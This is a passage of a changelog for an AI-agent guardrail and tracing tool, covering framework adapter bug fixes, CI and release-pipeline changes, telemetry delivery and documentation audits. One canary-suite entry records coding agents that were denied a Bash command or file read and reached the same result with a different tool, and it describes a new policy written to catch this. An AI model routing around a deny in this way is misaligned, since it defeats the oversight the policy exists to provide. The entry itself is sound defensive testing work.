framework converts the tool's exception into a message for the model instead of raising it, and `run.error` is empty on that path — so that failure had no representation anywhere, `is_error` 0 and a green span, with the text of it sitting in an output field nobody filters on. Both are read off the message now. (#730) - -- **Every LangChain entry on the Errors surface named its exception type twice.** `error` is the one event carrying `error_type` as its own field, and the server composes the row's `summary` as `": "`. The adapter fed it the same helper that fills `tool_result.error` and `agent_end.summary`, which prefixes the type because those two have nowhere else to say it — so every row read `ValueError: ValueError: denominator must be non-zero`. The CrewAI, LlamaIndex and Pydantic AI adapters all pass a bare `str(exc)` here; the fourth now agrees with them, and `agent_end.summary` deliberately still names the type, because nothing sits beside it. (#730) - -- **A stacked pull request ran no CI at all.** `ci.yml` triggers on `pull_request` into `main`, and #730 targets `feat/fp-cli` — so thirty commits of SDK work produced no unit run, no build, no lint and no docs check. The only signal it emitted was the daemon cross-compile, and only because it happened to touch `crates/`. A pull request that cannot go red is not a reviewed pull request. The trigger now also names `feat/fp-cli`, and turning it on immediately found what it was missing: the `fp-cloud-cli` and `failproofai-sdk` jobs carry no `timeout-minutes`, which main made mandatory in #726 and asserts in `release-pipeline.test.ts` — so #702 would have gone red on merge into main for a rule it had never been run against. Both jobs are bounded now. Also rewraps the daemon-skew warning in `fp-reset.ts`: "denies every tool call" is the consequence that message exists to state, and it was split across two hand-wrapped lines, so the test asserting the phrase failed against that branch of the message while the text read perfectly to a human. (#730) - -- **Five LangGraph bugs, one of them fabricating a human's approval.** `_node_of` decided which run was "the node" by comparing `run.name` to `metadata["langgraph_node"]` — and both sides of that are strings the user chooses. Three silent failures fell out of the one cause: `add_node("lookup_population", ToolNode([...]))` recorded **no `tool_use` or `tool_result` at all**, dropping the arguments, the result and the LLM's own `tool_call_id` and leaving two hook pairs where the tool should have been; `add_node("ChatOpenAI", ...)` recorded **no model call**, losing the model name, both token counts and the latency; and an inner runnable whose `run_name` matched the node key — or `sub.compile(name="child")` under `add_node("child", sub)` — emitted **two hook pairs per visit**, doubling node counts and halving apparent latency. Naming a node after the thing it runs is the obvious thing to type, and it was the thing that broke. A node's own run must now also be a non-leaf `run_type` carrying no `seq:step:` tag; both conditions are exclusions, so an upstream tag-convention change degrades to duplicate spans rather than to none. Worse than any of those: **a run that merely OVERLAPPED a pause was read as the resume.** `_start_root` treated "this session has an open pause and its agent is still open" as a continuation — a window that lasts as long as the human takes — so any other run carrying that session id inside it (a second request on one conversation id, a background summariser, a different graph) got no `agent_start`, had its nodes folded into the paused span, and emitted `agent_resume` + `human_input` **with an empty response**, closing the pause and reporting success. The dashboard showed an approval nobody gave. A resume must now also be shaped like one, which LangGraph makes checkable: an interrupted thread is continued only via `Command(...)` or `None`. And **a cross-process resume never closed the pause at all** — the real deployment shape, where one process interrupts and another approves: the second emitted nothing, so the session reported "still waiting on a human" forever and `pausedMs` never closed. The fix rests on three properties verified against the framework rather than assumed: `Interrupt.id` is `xxh3_128(checkpoint_ns)` and the interrupted task's namespace is byte-identical across the two invocations, so the second process reconstructs the id with no shared state; `on_resume` fires once per Pregel level, deepest last, which is what excludes a subgraph host; and only a level's first superstep re-runs interrupted tasks. Eighteen tests, including two that fail if the fix is pushed too far. (#730) - -- **Four Pydantic AI adapter bugs, two of them corrupting spans.** **A cancelled leaf closed after the agent it belongs to**, and sometimes not at all: `wrap_run` returns before `wrap_tool_execute` / `wrap_model_request` do on the cancellation path, because the graph awaits a gather of tool tasks and the run body unwinds the moment that future is cancelled, while each task's `CancelledError` lands a loop iteration later. Measured at `agent_end` .565709 against a matching `tool_result` at .566689 — and the dashboard closes the agent span at `agent_end`, so everything after it is attributed to nothing, which this adapter's own comments say three times. In some interleavings the ambient identity was already gone and the late leaf was dropped outright, leaving a `tool_use` with no result. Still-open leaves now close before `agent_end`, marked `fw_incomplete`. **`uninstrument()` during a live run emitted two `agent_end`s for one `agent_start`** — `cancelled` from teardown, then `success` from the run five seconds later, with the `tool_result` stranded between them. **`tool_result.output` was a Python repr of an envelope**: a tool returning `ToolReturn` recorded the whole repr, burying the answer beside `metadata` the model is documented never to see. And **a streamed `model_response.duration_ms` is the consumer's time** — on identical calls, 2556 ms with no consumer delay against 4059 ms with 1.5 s of sleep per delta, so 1503 ms of UI time sat inside the model's latency. No earlier hook is overridable without switching `agent.run()` into streaming mode, so the number cannot be made honest, only identifiable: `fw_streaming` now rides on the response as well as the request, since the request carries no `duration_ms` to exclude. (#730) - -- **A dataclass or a pydantic model recorded as a Python repr.** Neither is a `Mapping` or a `Sequence`, so both reached the branch that renders an object with no JSON shape — a tool's argument model, its structured return, a settings object on a request, all arriving as `Weather(city='Faro', celsius=21)`: a Python repr inside a JSON string, unreadable by `JSONExtract` and unfilterable on the dashboard. Every framework hands us these, and the adapters had begun solving it one at a time. The unwrap is deliberately shallow — `dataclasses.asdict` and `model_dump` both recurse and both copy, so on a large object they duplicate the whole tree before `_truncate` decides it only wanted the first 8 KB — and every part of it is guarded, because it runs the caller's own validators and properties; anything that raises falls back to `repr`, which is what happened before. `model_dump` rather than `dict`, because pydantic v2 names it distinctively while half the objects in a process have some attribute called `dict`, and a class is excluded explicitly, since `dataclasses.is_dataclass` is true of the class as well as its instances. (#730) - -- **Six CrewAI adapter bugs, four of them losing or misfiling events.** Found by driving real crews through a live gateway and reading the rows back out of the events store. **Hierarchical delegation was flattened**: `_tool_start` emitted `tool_use` but never noted the tool as a node, and CrewAI parents a delegated coworker's whole `AgentExecutionStartedEvent` on the `delegate_work_to_coworker` *tool* event — so the parent lookup missed it and fell back to the most recent root, putting the manager and both coworkers side by side under the crew instead of nesting coworker → manager → crew. **`FlowFailedEvent` was not in the translation table**, and a Flow whose method raises emits it and never emits `FlowFinishedEvent` — so the flow's `agent_start` was never closed and the session read `ongoing` forever, permanently in a long-lived process. **A Crew kicked off inside a Flow method became a second session**, because the flow-method span was not noted either, so `on_crew_started` read "no parent" and minted a new root: one logical run, two unlinked sessions, no `parent_id` on either. **Any event whose parent span was gone leaked into another run** through a process-global "most recent root" fallback — reproduced with two crews open, where an orphan tool emitted from crew Alpha's thread was recorded against crew Bravo; root selection now matches the ambient session. **`Task(human_input=True)` recorded nothing at all**: CrewAI has two HITL surfaces and only the Flow `@human_feedback` one is on the event bus, so the entire human wait was billed as active agent time — a real 38-second wait now measures as `agent_resume.duration_ms = 37878` inside a ~43-second agent span. That is the adapter's only patch, wrapping the narrowest seam, restoring the `staticmethod` descriptor on `uninstrument()` with an identity check and re-raising `KeyboardInterrupt` verbatim. And **`Agent.kickoff()` had no agent span at all** — the three LiteAgent events were unmapped, so with no ambient session it recorded zero rows and with one it filed everything under `agent_id="main"`. Thirteen tests, each fix reverted individually to prove the matching one fails. (#730) - -- **Three LlamaIndex adapter bugs, one flattening whole crews.** `AgentWorkflow` does not run its agents as nested workflows, so attribution from the span tree alone **collapsed a two-agent crew into a single `agent_id`** — 382 events under `"AgentWorkflow"` in the audited run, with the real names reachable only through `fw_agent_name`, a payload extra and not a groupable column. Each distinct `current_agent_name` now opens a nested agent under the workflow; the name is sticky because a `ToolCall` step carries none, and a guard stops a standalone `FunctionAgent` nesting inside itself. **A user-cancelled run was reported `outcome="success"`**: `cancel_run()` does not drop the span, the runtime catches its own `WorkflowCancelledByUser` and exits cleanly with `result=None`. Rather than infer cancellation from a null result, the adapter reads the framework's own `SpanCancelledEvent`, and the run closes `cancelled` with no `error`, because a stop button is not a failure. That event sits outside `_HANDLED_EVENTS` — the drift test walks only `llama_index.core.instrumentation.events.*` — so it ships with a drift guard of its own that fails if the class is renamed, moves, or loses `span_id`. And **a failed `agent_end` carried no `summary`**, the promoted column where a run's outcome is read; the reason lived only on the failing step's `hook_completed` payload and vanished entirely under `steps=False`. (#730) - -- **A tool's declared schema reached the events store as a Python repr.** `_core._truncate` and `_size` dispatched on the concrete `dict`, `list` and `tuple`, which misses every mapping a framework actually hands us that is not literally a dict — `MappingProxyType`, which is what `model_json_schema()` and any frozen config returns, and `ChainMap` among them — so those fell through to the branch that renders an object with no JSON shape via `repr`. A crewai `model_request` carried `tools[0].function.parameters.properties.from_unit = "{'title': 'From Unit', 'type': 'string'}"`: valid JSON holding a Python repr, so `JSONExtract` over it returns nothing and the field is unqueryable rather than merely ugly — and a tool's schema is exactly what you open a `model_request` to read. Both functions dispatch on `collections.abc.Mapping` and `Sequence`/`Set` now, with `str` and `bytes` handled first so a string cannot be exploded into a list of characters, and a counterweight test so widening the check cannot leave the repr branch dead. (#730) - -- **A per-run id inside an agent name poisoned the facet anyway.** `normalize_agent_id` exists because `agent_id` is a `LowCardinality(String)` and the primary facet on every dashboard surface, but it only caught a value that was an id *all the way through*. `agent-`, `crew_`, `task-3f9a1c2b-…` — a readable name carrying a per-run suffix — went straight past it, which is the shape frameworks actually produce and the exact one the CrewAI page already warns against. The id is stripped and the readable part kept, so `agent-` records as `agent` rather than collapsing to `main` and discarding the only meaningful token; dashed UUIDs are matched as a substring before the segment pass, or splitting on separators would break the most standard shape of all into five individually-innocent pieces. A name where nothing was stripped is returned unchanged, separators included, so this cannot quietly rename every `node_a_b` to `node a b`. (#730) - -- **CrewAI never recorded a crew blocked on a human.** `crewai.flow.runtime` emits `HumanFeedbackRequestedEvent` before it blocks and `HumanFeedbackReceivedEvent` after the answer; the adapter subscribed to neither, so the entire wait was an unexplained gap in the trace and the session's active duration absorbed it. The LangChain and LlamaIndex adapters both map their HITL surface onto the same four events and CrewAI now does too — `human_wait` + `agent_pause`, then `agent_resume` + `human_input`, in that order, because only the first pair carries the prompt and the answer and only the second feeds paused time. Two things surfaced while fixing it, each of which would have left the fix silently inert. The adapter resolved event classes against `crewai.events.event_types` alone, and the flow events are not in it — they are lazily re-exported from `crewai.events` — so the lookup returned `None`, the capability probe disabled that one hook, and nothing failed; `event_class()` now tries both namespaces, and the anti-drift test resolves through it rather than through a namespace of its own, since asserting against the narrower one is what let the gap exist. And CrewAI sets **no correlation id on either event** (`request_id` is `None` on both, `started_event_id` `None` on the received one), so pairing on it raised a `TypeError` inside the customer's event bus; the join is now `request_id` — which the enterprise async provider does set, and which can interleave — then `(flow_name, method_name)`, then the most recently opened pause, which is sound only because a console prompt blocks. Feedback for a request we never saw records the answer but deliberately withholds `agent_resume`, since closing a pause that never opened subtracts an interval that was never added. Six tests, all six failing if reverted. (#730) - -- **Corrected the LlamaIndex adapter's claim about token fidelity.** It said an integration naming its counters something unusual would show blank token columns, which reads as an exotic case. The common case is worse and was undocumented: `FunctionAgent` — the agent API LlamaIndex documents — calls `astream_chat`, and `llama-index-llms-openai` does not send `stream_options={"include_usage": True}`, so the provider never emits the usage chunk and `LLMChatEndEvent.response.raw` has no `usage` key on it. Verified by spying on the dispatcher directly against llama-index-core 0.14.23: every `LLMChatEndEvent` in a `FunctionAgent` run arrives with usage absent, so **every token count on the default agent path is null** and no instrumentation can recover a number the framework never received. Non-streaming `llm.chat`/`achat` extract usage correctly with no configuration. The one-argument user-side fix is now stated in the docstring, in the docs and used by the shipped examples: measured on the same run, `(None, None)` becomes `(148, 17)`. (#730) - -- **Retry `bun run build` on the release path, which is the half that never had a net.** `bun --bun next build` is a demonstrated flake, and on 2026-08-19 it proved it in the worst place: publishing v1.0.1, bun 1.3.14 took a SIGSEGV during the TypeScript phase — `oh no: Bun has crashed. This indicates a bug in Bun, not your code` — exited 132, and took `release-assets`, `publish`, `verify-install` and `announce` down with it, all skipped. Nothing about the code being released was wrong; the identical command had passed on the identical commit in `ci.yml` minutes earlier, which is the definition of a retryable failure. `ci.yml`'s `build` job has wrapped this in three attempts since it was written, and publish.yml's two `bun run build` steps — `cli-tarball`'s and `publish`'s — had none, so the path where a spurious failure costs the most was the one without protection. The second one matters more than the first: by the time `publish` builds, the release assets are already attached, so a crash there leaves a GitHub Release advertising daemon binaries whose npm package never shipped. Both are retried now, and `release-pipeline.test.ts` asserts it rather than trusting anyone to remember — a bare `run: bun run build` anywhere in publish.yml fails the suite. (#728) - -- **Stop CI paying for work it throws away, and stop a stalled apt mirror holding a release for six hours.** Four costs, found by measuring a green run rather than a red one. **`bun install` was running a full Next.js production build**: `package.json`'s `prepare` is `bun run build`, which bun fires as an install lifecycle hook, so six of `ci.yml`'s eight jobs spent ~28s (14s compile + 13s TypeScript) building an application they never read — and the `build` job did it twice, since its own Build step then re-ran the same thing warm in 7s. `rust-quality` has passed `--ignore-scripts` since it landed and installs in **one second**, which is the control that proves the rest; `translate-docs.yml` already guards the same way with a comment naming this exact hazard. Every install now does. **The cargo cache cost more to move than the work it replaced**: one `cargo-Linux-*` entry had reached **5,727 MB** — 57% of the repo's entire 10 GiB quota in a single key, which is the LRU-eviction pressure the previous fix here was about and did not remove — and restoring it took **127 seconds** against the 74s `cargo test` it existed to avoid. The cause is `path: target` taken literally: it archives every intermediate the workspace ever produced, including this workspace's own crates, which recompile in seconds and are the artifacts most likely to be stale. `Swatinem/rust-cache` caches the dependency artifacts and prunes the rest. **`rust-quality` ran in full on every pull request**, including the many that touch no Rust; its `Detect crates` gate was written for a stage-1 empty workspace and, with all three crates present, had been answering `true` unconditionally for months. It now also diffs the merge commit against its first parent, so it still reports a status — no `needs:` edge, nothing serialised behind it — while finishing in seconds on a TypeScript-only branch. `docs` gained the same gate, and its `mintlify` install is pinned to `4.2.680` to match `translate-docs.yml`, where floating meant an upstream release could redden a branch that changed nothing. **And 190 of 208 unit test files were building a jsdom they never touched**: the config set `environment: "jsdom"` globally for the sake of 16 React files and two more that already opt in per-file, and the `test` matrix runs the suite three times, so it was paid three times per run. Split into `node`/`dom` projects on the file extension, jsdom construction drops from **40.96s to 13.67s** measured locally, and a new `.test.tsx` still gets a DOM without anyone remembering to ask. The release hang is the same story in one step: **nothing in this repo had a job timeout except `integration-suite.yml`**, so when the linux-x64 daemon leg hit a stalled Azure mirror on 2026-08-19 it sat in `apt-get update` through three runner re-dispatches with v1.0.1 blocked behind it, while the arm64 leg ran the identical step in seconds. Every job across five workflows now declares one; the apt step is retried and given real acquire timeouts (its defaults are long enough to be no timeout at all against a stall) and loses its `-qq`, which was suppressing the one thing worth having in the log — which mirror stalled. `build-daemon.yml` also gains a concurrency group, scoped to `pull_request` so the `workflow_call` legs that *are* a release's binaries are never cancelled. `musl-tools` itself stays: `-p failproofaid` reaches `rusqlite` with `bundled` and `ring` through rustls, so the `cc` crate needs `musl-gcc` on both musl legs. **The bound is `sudo timeout`, not `nick-fields/retry`**, and that distinction is the whole fix rather than a style choice — the retry action was tried first and CI rejected it: it bounds a step by killing the process tree **as the runner user**, and apt runs as root, so the four-minute timeout fired exactly as designed and the action then died with `kill EPERM` instead of retrying, converting a recoverable stall into a failed leg. `timeout` inside the `sudo` makes the killer root too. The same run also showed the stall is real and not a one-off: every `azure.archive.ubuntu.com` line came back `Ign`, apt fell back to `archive.ubuntu.com`, fetched the InRelease files and then sat for three and a half minutes emitting nothing — so the step now tries `apt-get install` **before** `apt-get update` at all, since the refresh is the part that stalls and the runner image's package lists usually make it unnecessary. Dropping the `prepare` hook does cost the `test` job one thing it was silently getting: the custom-policy loader tests resolve `import ... from 'failproofai'` through `findDistIndex()` and need a real `dist/index.js`, so the job now builds that one bundle explicitly — three milliseconds against the ~28s it replaces. Worth recording how that surfaced, because the check that should have caught it did not: running the **whole suite** with `dist/` moved aside passes, since an earlier test writes the file before the loader tests read it, and only running them alone fails. Test-order luck read as a clean bill of health. None of these regressions turns CI red on its own either, which is why `release-pipeline.test.ts` now asserts all four — the timeouts, the `--ignore-scripts`, the absence of a bare `target` cache path, and an apt step that is bounded by a killer running as the same user apt does. Net: **~4.0 min wall and ~15.7 runner-minutes per pull request down to ~1.7 min and ~9**, with ~5 GiB of cache quota returned. (#726) - -- Let the box pick the translation model per tier, and stop a re-install double-scheduling the box. `getModelForTier` now reads `TRANSLATE_MODEL_TIER1` / `TRANSLATE_MODEL_TIER23`, so the seven languages most readers actually arrive in can keep a strong model while the long tail runs on something cheap — the CLI's `--model` flag flattens every tier to one model, which is the opposite of what the tier split exists for. Any id the gateway serves over the Anthropic `/v1/messages` shape works, since that is the API the translator speaks (verified: `deepseek-v4-pro` and `deepseek-v4-flash` both answer there). Separately, `install.sh` now strips the pre-marker cron form as well as its own marker: a box set up before the marker existed carries a long-form inline `docker run … -e CANARY_JOB=` line, and matching only the marker left it in place — six entries, every job scheduled twice, one on the old image and one on the new. The per-job flock keeps that from doing damage and turns it into something worse to diagnose: which image runs becomes a coin toss. Found on the real box, whose crontab is exactly that shape. (#705) - -- Make a non-PASS canary verdict explain itself. `probe-cli.sh` captured each agent's stdout and stderr into `$OUTA`/`$OUTB`, used them for two greps, and threw them away; `run.sh` then echoed `tail -20` of the probe on any non-PASS verdict — and the last 20 lines of that probe are the verdict block, so the log restated the verdict instead of giving the cause. Four CLIs sat yellow on the box for three consecutive days with nothing recorded anywhere but the word INCONCLUSIVE, and re-running produced the same nothing because the evidence was discarded both times. Each failing probe now prints the last 25 lines of what the CLI actually said, plus whether a hook fired at all, and the tail window widens to 80 so the explanation lands inside it. The daemon note is corrected in the same breath: `daemon: routed, no fail-closed denies` was printed whenever the grep for `daemon-unreachable` found nothing, which is equally what **no hook log at all** looks like — a run where the daemon was never asked anything now says so instead of claiming a real evaluation. (#705) - -- Add `canary-guard`, so an agent routing around a deny stops reading as broken enforcement. Both probes name one tool, and an agentic model that gets denied does not retry the same tool — it reaches for another and completes the same outcome. Copilot 1.0.80, denied `touch CANARY_PROBE_ran` on Bash, answered "created the equivalent file instead" and made the file with its Create tool; goose leaked the read probe's sentinel the same way on 2026-08-15. Both scored FAIL with the honoured deny sitting two lines above in the log — the suite reporting a working guardrail as a silent allow, which is how a canary teaches people to ignore it. The new policy denies a canary token reaching any tool the probes do not target, and deliberately exempts the two probe payloads so a PASS stays attributable to `canary-bash`/`canary-read`. Its two outcomes are kept apart because they mean opposite things: a **route-around** (the payload normalized fine, the model just moved tools) leaves the probe's own deny to decide, and prints a NOTE so a clean PASS does not hide that the agent tried; **drift** — a path or shell tool whose canonical field arrived empty while the token sits elsewhere in `tool_input` — carries `NORMALIZATION-DRIFT-SUSPECT` and scores FAIL, because that is the Copilot 1.0.70 class where nothing would have matched in production. The drift test is restricted to tools with a known canonical field, or a Grep for the marker would read as drift every time an agent searched for it. Verified live end to end against copilot 1.0.80 on the daemon-configured leg: the Bash deny holds, the Create fallback is now denied too, and the model gives up. (#705) - -- Stop reporting "we could not test this CLI" as "the model never tried". `is_error()` decides between ⚠️ ERROR and 🟡 INCONCLUSIVE, and three live failure texts matched none of its patterns: cursor's `Authentication required. Please run 'agent login' first`, devin's `Login canceled`, and devin's `Permission denied: We're currently facing high demand for this model`. All three read as a model that declined to act, which is why four yellow CLIs looked like flaky prompting rather than an untestable box. The added patterns stay machine-shaped and are pinned from both sides — the new fixtures include the prose they must **not** claim ("Demand for this model is high, so the docs suggest batching"), plus a policy deny, which is the success case and must never be mistaken for a vendor outage. (#705) - -- Install python3, make and g++ in the canary sandbox image, because hermes has been uninstallable in it for weeks. The vendor installer runs `npm install` for its browser tools, which builds `node-pty` through node-gyp, which needs a Python and a C++ toolchain — and upstream made that step FATAL (hermes-agent #85297) **before** the launcher shim is written. So the install aborted leaving no `~/.local/bin/hermes` at all, the probe drove a command that did not exist, and hermes reported INCONCLUSIVE every single day while looking like an enforcement question. With the three packages present the install completes and reports v0.20.2. (#705) - -- Give the nightly translation a voice when it fails, and a pulse when it does not run. It posted nothing by design — the reasoning being that its output is the pull request — which held for both success shapes and failed for the third: a run that dies also leaves no PR, so failing and idling produced the identical signal, none. Between 2026-08-11 and 2026-08-17 it opened nothing while 28 pages sat missing from 14 locales, and what noticed was a finding in the weekly docs audit rather than the job itself. Failure now posts to the same Slack webhook the other two jobs use, naming the step and carrying the log tail; success stays quiet, because a nightly "all good" is noise. Every exit also writes `last-run.json` into the work dir, and the weekly docs audit reports its AGE — the one failure no error handler can catch is the job never starting, and only a file's age can see that from outside. (#705) - -- **Stop the dashboard server's telemetry from stranding its own events, and stop it printing `Error while flushing PostHog` while doing it.** Four options on the `posthog-node` client each disabled a different part of the library's delivery machinery, and together they turned a slow network into lost events plus a stack trace in the user's terminal — the one `failproofai audit` starts, where `launch()`'s log filter only strips the Server Action skew block. The injected `resilientFetch` was the root of it: it retried five times over ~40s and then returned a synthetic `200` so the library would never log a network error, but posthog-node does not merely hand its abort signal to an injected fetch, it **races that fetch against its own `requestTimeout`** (`Promise.race([fetchPromise, deadline])`) precisely because an injected fetch may ignore the signal — which ours did, by stripping it. A ~40s budget racing a 5s deadline can never return in time, so the synthetic `200` was unreachable code, the `console.error` it existed to prevent fired anyway at 5s, and the retries ran on detached from a client that had already given up. Worse, that `200` was the wrong answer even when it did land: posthog-node deliberately does NOT dequeue a batch that failed with a network error, so reporting success is what would have made it discard events that never arrived. The wrapper is gone; plain global fetch is what the library expects. `fetchRetryCount` was `0`, leaving that wrapper as the only thing retrying, at the wrong layer — the library retries inside a single flush, knows which errors are retryable, and keeps its queue coherent while doing it. `requestTimeout` was `5000`, half the library's own default, so every attempt had half the room. And `flushInterval` was `0`, which is falsy and therefore disables the flush timer outright — that is the one that actually stranded events, because the batch posthog-node retains after a network error then had nothing scheduled to resend it and sat in an in-memory queue (`PostHogMemoryStorage`, so nothing survives the process) until some unrelated later event happened to trigger a flush. `flushAt: 1` is unchanged and deliberate: volume is a handful of events per process, batching buys nothing, and sending immediately is the best defense a memory-only queue has against the process dying. Measured against a server that answers correctly but takes 6s — a slow network, not an outage — the old options delivered the event **four times** and logged two flush errors, because the wrapper re-POSTed the same batch on each of its own retries while the library still held its retained copy; the new ones deliver it **once**, with nothing logged. The exit drain is now idempotent, since `beforeExit` re-fires every time a handler schedules async work and an unguarded one started a fresh 30s `shutdown()` on each pass. **No event, trigger or property changed** — all 73 call sites across the three dispatchers fire exactly as before. (#701) - -- Cover telemetry delivery against the real `posthog-node` and a real socket, in `__tests__/lib/telemetry-delivery.test.ts`. The existing suite mocks the library wholesale, and that mock is what let the above live in the tree: the constructor was called with the right *shape*, so it passed while events were being stranded. The new tests assert on bytes that arrived over a socket — including gunzipping the batch body, without which a green test means nothing, since posthog-node gzips it and a raw read silently parses as "no events delivered". They pin that a captured event reaches `/batch/` with its properties intact, that a transient 500 is retried and still delivered, that a successful flush logs no error, and — for the hook dispatcher carrying the other 37 call sites — that `trackHookEvent` reaches `/capture/` and that `flushHookTelemetry` lands events the caller never awaited. Two facts they nail down rather than fix: posthog-node **overwrites `$lib`** with its own name on the server path, so `trackEvent`'s `"failproofai"` never lands and `product` is the attribution that actually survives (the raw-fetch hook dispatcher has no SDK to overwrite it, so its `"failproofai-hooks"` does); and the opt-out still sends nothing. (#701) - -- Cut `failproofai audit --help` down to what somebody actually needs to read: two lines saying what the command is, then one aligned USAGE block listing the five things a person can type. It had grown to four sections and forty lines — a `USAGE` block that also carried the headless entry point, a separate `SCHEDULING` block, a `WHAT IT DOES` block re-describing the same scan, and a paragraph about which config file the flags write, which is an implementation detail of the CLI agreeing with the dashboard rather than something to tell a reader at the moment they are looking for a flag. Every command keeps its own usage — `--schedule` still names its optional day count, its 1–90 range, and `--email` — and the local-only promise survives, moved into the second line where it reads as part of what the command IS. `--scheduled` is deliberately dropped from the listing: it is not a flag anybody types but the second entry point the daemon spawns, and advertising a machine-facing flag one letter away from `--schedule` is how somebody starts a full scan meaning to configure one. It still works and still refuses every argument it always refused. Command names are brand teal through the same `colorOn()` gate as the rest of the CLI, so piped output stays plain, and every line fits 80 columns. No behaviour changed — all five commands dispatch exactly as before, verified against a temp home. (#701) - -- Correct a comment in `hook-telemetry.ts` claiming `isTelemetryEnabled()` is memoised. `lib/telemetry-enabled.ts` documents at length that it is resolved fresh on every call, deliberately — an opt-out a long-lived process ignores until restart is not an opt-out — so the comment described the exact optimisation that file rejects. (#701) - -- Stop the unit suite passing or failing on the runtime rather than on the code. From Node 24 on, Node ships its OWN `localStorage` / `sessionStorage` globals, and they only work when the process was started with `--localstorage-file` — without it the getter answers `undefined` while printing `ExperimentalWarning: localStorage is not available`. Vitest's jsdom environment makes `window === globalThis`, so that getter sits exactly where jsdom's Storage should be and wins, taking out all fifteen `project-list.test.tsx` tests with `Cannot read properties of undefined (reading 'clear')` on every contributor machine running a current Node. CI stayed green throughout, because its `test` job pinned no Node at all and took whatever the runner image happened to ship — so the divergence hid in the one direction nobody checks: local red, CI green, and a suite that is evidence of the runtime rather than of the code. `__tests__/setup.ts` installs an in-memory Storage ONLY where the runtime has not supplied a working one, so a real jsdom Storage is left alone, and the `test` job now pins Node 22 so CI cannot silently drift onto a different runtime again. `publish.yml`'s build and publish jobs move to 22 with it; `verify-install` deliberately stays on 20, the floor of `engines.node`, because it is the job that stands in for a user and the users most likely to hit a runtime problem are the ones sitting on that floor. (#721) - -### Dependencies - -- Bump `h2` 0.4.15 → 0.4.16 in `Cargo.lock`, clearing RUSTSEC-2026-0258, which turned the Supply Chain gate red on `main` and therefore on every branch cut from it — same shape as the `brace-expansion` and `next`/`sharp` incidents before it: the advisory published after main's last green scan, so nothing in this repo changed to cause it. `h2` is transitive through `hyper`, so the fix is a lockfile edit and nothing else. It is applied surgically rather than by `cargo update -p h2 --precise`, which additionally re-resolved six unrelated `windows-sys` edges *downward* (0.61.2 → 0.52.0/0.60.2) — churn that is invisible in CI, since the Rust jobs run on Linux and never compile those crates, and would have ridden into a release lockfile unreviewed. `cargo metadata --locked` accepts the result, so the resolver agrees the lock is complete and will not re-resolve behind it. (#717) - -### Docs - -- Ignore `/blog/`, so long-form design write-ups can be drafted in the checkout without landing in a diff. These are contributor-local working files — a draft that is one `git add -A` away from being committed is a draft written more cautiously than it should be. Nothing shipped in the package changes. (#717) - -- **Audited every checkable doc claim against the SDK, and four were wrong.** The guides were written per-framework and the option lists were prose, so nothing caught a page describing an argument its adapter does not read — and nothing would have, because `instrument()` passes one dict to every adapter and drops unknown keys by design. A reader following those pages got no error and no effect. The CrewAI guide named `capture_content` (that adapter reads only `session_id`); the LlamaIndex guide named `session_id` and `capture_content` (it reads neither — its options are `embeddings`, `steps`, `capture_messages`, `stale_after` and `reaper_interval`, and its session comes from a scope); the Pydantic AI guide told readers to verify the install with `agent.capabilities`, which raises `AttributeError` because Pydantic AI merges the list into one `root_capability`; and the spool page printed a batch filename in a format the writer has never produced. LangGraph's options were correct. Also noted that `include_chains` applies to nested runs only — a top-level runnable is the session's root and becomes the agent span, so naming it there does nothing, which was verified rather than assumed. Three tests now hold the line: documented `instrument()` options are parsed out of each adapter's own source and compared, on both doc copies; the Pydantic AI verification snippet is pinned to `root_capability`; and the filename printed on the page is matched against one the writer actually wrote. Each was negative-controlled by reintroducing the original mistake. (#730) - -- **`sdk/python/docs/`: the guide and the code that proves it, in one tree.** Documentation and examples were two directories that had to be kept in agreement by hand, and the docs half was MDX — which renders as raw JSX tags anywhere except a Mintlify build, so on disk and on GitHub it read as broken markup. Both are now one Markdown tree, a directory per framework, each holding the guide somebody reads and the `examples/` they run: `docs//README.md` beside `docs//examples/*.py`. Five directories — `langgraph`, `crewai`, `llama_index`, `pydantic_ai` and `manual` for an agent with no framework, which also carries the three-seam recipe for any unsupported one and states why AutoGen has no adapter. Each guide covers install and supported version range, the three-line integration, the attach mechanism, a full framework-concept-to-event mapping table, a complete copy-pasteable program, agent naming, session resolution, every `instrument()` option, a real captured event payload, and pitfalls written as symptom then cause then fix. The pitfalls are the ones that actually cost time and were each hit while writing this: construct Pydantic AI agents *after* `instrument()` or they carry no capability and record nothing, with no error; `create_react_agent` aborts the graph on a raising tool unless the tool node sets `handle_tool_errors`; LlamaIndex needs one `stream_options` argument or every token count is null; and never read the spool to verify anything, because a running `failproofaid` deletes each batch within milliseconds and the read races it. (#730) - -- **Every example was executed against a live model before it shipped, and each prints its own trace.** Eleven scripts across the five directories — a supervisor delegating to two workers (38 events, 5 agents), a bare OpenAI tool-calling loop instrumented entirely by hand (14 events, no framework), and multi-tool runs for each adapter including one deliberately failing tool so the recovery path is visible. The traces quoted in the guides are captured output, not illustrations. Each ends by printing the event stream it produced, captured by tapping the writer in-process rather than reading the spool, for the reason above. `test_examples.py` and `test_docs.py` merge into one `test_docs.py` that walks the whole tree: a framework with an adapter and no directory fails, a guide linking to an example that does not exist fails, a guide or example naming SDK API that does not exist fails, and an example threading `session_id=` by hand fails — checked over the AST, so the manual guide can still *explain* the argument its whole purpose is to replace. (#730) - -- **Event pairings key on the session, never on the agent.** `_pending` correlates a start event with its end so `duration_ms` can be measured, and the key had been wrong twice in opposite directions. Bare ids let a tool call and a hook sharing an id consume each other's timestamp; adding the session fixed a real collision between two concurrent runs in one process. Adding the AGENT as well was over-tightening, and is reverted here: once a framework runs tools inside sub-agents — LangGraph and CrewAI both do — a `tool_use` opened under `planner` and closed under `worker` is the ordinary case, and an agent-scoped key makes those pairs miss entirely, silently dropping `duration_ms` for exactly the nested runs that most need it. The rule that survives both: include what makes the id unique (kind, session), exclude what can legitimately change between the two events. Applied to all four pair types. Correlation keys never leave the process, so no wire format changes — only `duration_ms`, in the colliding cases, from a fabricated or missing value to a correct one. (#730) - -- **Guard the `fp-cloud-cli` credential path against drifting from the layout register.** `~/.failproofai/` is a governed layout — `src/hooks/fp-home.ts` declares it and "nothing outside this file may join a path onto the failproofai home" — and what actually keeps a reset off the CLI's session is its `user-typed` entry in `HOME_CLASSES`, since `resettablePaths()` is a *filter over* that table. Nothing checked that the two sides agreed, and `config.py` said so itself above `FPCLI_SUBDIR`: "change one, change the other; nothing checks". Confirmed by experiment: renaming `fpcliDir` to `fp-cloud-cli` in the TypeScript and leaving Python alone left 53 TS tests and 59 Python tests all passing, with the register describing a directory nothing writes and the real credential at a path it had never heard of — safe only until somebody classifies its parent. `fp-cloud-cli/tests/test_fp_home_contract.py` now reads `fp-home.ts` and 